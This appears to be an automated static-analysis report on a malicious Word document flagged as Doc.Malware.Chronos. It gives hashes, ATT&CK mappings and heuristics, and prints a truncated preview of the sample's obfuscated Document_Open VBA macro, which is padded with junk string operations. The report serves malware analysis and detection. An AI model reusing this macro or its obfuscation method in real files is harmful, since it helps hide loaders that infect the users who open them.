Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 29cfdeb09ac71615…

MALICIOUS

Office (OLE)

214.5 KB Created: 2018-03-15 13:05:00 Authoring application: Microsoft Office Word First seen: 2019-09-30
MD5: ddc37d4f71f60cda3d429c1dcc998ee0 SHA-1: 4d6b35d460a99ae66b7ba72e6cdcc496bcd2605c SHA-256: 29cfdeb09ac71615701bb7ead6a393003d3afb83e1b44e9a36c7c9f8d97caca4
282 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample contains a critical 'Document_Open' VBA macro that is obfuscated and uses Shell() calls to execute code. This indicates an attempt to download and run a secondary payload. The ClamAV detection name 'Doc.Malware.Chronos-6897935-0' further supports its malicious nature.

Heuristics 7

  • ClamAV: Doc.Malware.Chronos-6897935-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Chronos-6897935-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13486 bytes
SHA-256: 42af3f0fc505ae82791ff7fcd52a41705c5a70f9db326ff89561dffc5a875b0b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
lWsC = Replace("McMDAmrwLnCZmOdupJ", "McM", "VTibAX")
    For YrDAy = 0 To 394
                If 3174959 = 150 - 444 Then
            kVsYO = Replace("UmFdbiYdjSlKKHoqttT", "UmF", "fHCBEjd")
            kVsYO = StrReverse("UmFdbiYdjSlKKHoqttT")
            wkjza = Replace("aCLnJmBtieJuAzO", "aCLn", "sMeCQ")
            wkjza = StrReverse("aCLnJmBtieJuAzO")
            End If
        jIKt = StrReverse("yUypjHCeIoF")
                If 391712 = 138 - 3931 Then
            iHYOq = Replace("crCDPeCciwCcsnTHf", "crCD", "cEZmB")
            iHYOq = StrReverse("crCDPeCciwCcsnTHf")
            pGBat = Replace("iQpjeaZFsiyhiXZO", "iQp", "YmBdbJ")
            pGBat = StrReverse("iQpjeaZFsiyhiXZO")
            End If
                If 1528555 = 206 - 2740 Then
            mRUUR = Replace("xdwxvnSYuUCOJ", "xdw", "HdtbYTW")
            mRUUR = StrReverse("xdwxvnSYuUCOJ")
            ozqhx = Replace("TZDelFLlIhbZsP", "TZD", "AYQpJV")
            ozqhx = StrReverse("TZDelFLlIhbZsP")
            End If
        jIKt = StrReverse("gEiLkaUQOEchlY")
        jIKt = Replace("JsuotAGIRJ", "Jsuo", "pWuHfss")
        jIKt = StrReverse("RegRbWZLcbcGMue")
        jIKt = StrReverse("gyoLMWhhKHYvYiTQS")
        jIKt = Replace("oVBshtOnQPlgMUFaXJ", "oVBs", "Yvdl")
                If 2698973 = 81 - 3972 Then
            CUTEY = Replace("CqwLiRjeYxS", "CqwL", "ucVhs")
            CUTEY = StrReverse("CqwLiRjeYxS")
            aMJjm = Replace("buezFGOzvozJRUkSn", "buez", "eDuev")
            aMJjm = StrReverse("buezFGOzvozJRUkSn")
            End If
                If 2389294 = 154 - 946 Then
            MOMIH = Replace("JWBMkDITBCv", "JWB", "gOGQ")
            MOMIH = StrReverse("JWBMkDITBCv")
            End If
        jIKt = Replace("wHReUzQLCLUp", "wHRe", "AIYaa")
                If 1799263 = 202 - 5160 Then
            GTmov = Replace("EqsKCBEIEhL", "EqsK", "YJQmsb")
            GTmov = StrReverse("EqsKCBEIEhL")
            End If
                If 3376134 = 91 - 7886 Then
            zuGTZ = Replace("VzOpMDoPsS", "VzO", "FtoTnl")
            zuGTZ = StrReverse("VzOpMDoPsS")
            End If
        jIKt = StrReverse("zYuUwzaBzhLVojgMME")
        jIKt = Replace("IKVaaAlmxptm", "IKVa", "ujgH")
        jIKt = Replace("ayrkYBAOIgbaG", "ayrk", "dccCwsU")
                If 3348281 = 206 - 3062 Then
            XdJcV = Replace("eDKCxhyTzGKaZxAc", "eDKC", "JqkJyjn")
            XdJcV = StrReverse("eDKCxhyTzGKaZxAc")
            MJrMl = Replace("OhRqqBBLXEcoFFvMPeV", "OhR", "MOYA")
            MJrMl = StrReverse("OhRqqBBLXEcoFFvMPeV")
            End If
        jIKt = Replace("FRRFDkpxkETTmWVggpp", "FRRF", "VQMrt")
        jIKt = StrReverse("xcZbQftHcq")
        jIKt = Replace("rlRfLUiajaLc", "rlR", "OGpWE")
        jIKt = StrReverse("TLkloJlUaaBGwpBFTZw")
        jIKt = Replace("YfbtRGcaDVVweOvm", "Yfb", "zZGbrnX")
        jIKt = StrReverse("vlzrysHmjJjsSt")
                If 302264 = 97 - 5113 Then
            yZAxr = Replace("YgMYmpsfKIPUULX", "YgMY", "kCkeCgR")
            yZAxr = StrReverse("YgMYmpsfKIPUULX")
            zlrqE = Replace("xkpyHYwfGvLxRy", "xkpy", "iLsgv")
            zlrqE = StrReverse("xkpyHYwfGvLxRy")
            End If
    Next YrDAy

    While AbJj < 3551
        If AbJj = 81 Then
            FkuW = Replace("sbLvHFgExq", "sbL", "aekIv")
        ElseIf AbJj = 261 Then
            FkuW = Replace("BmlvRiZRYX", "Bml", "ohFLR")
        ElseIf AbJj = 464 Then
            FkuW = Replace("PSjOuYjmCy", "PSj", "KLabw")
        ElseIf AbJj = 658 Then
            FkuW = Replace("cTPvKTHYAK", "cTP", "vcKkp")
        ElseIf AbJj = 2554 Then
            FkuW = Replace("mJHakBuvDZ", "mJH", "EmzSL")
        ElseIf AbJj = 2174 Then
            FkuW = Replac
... (truncated)

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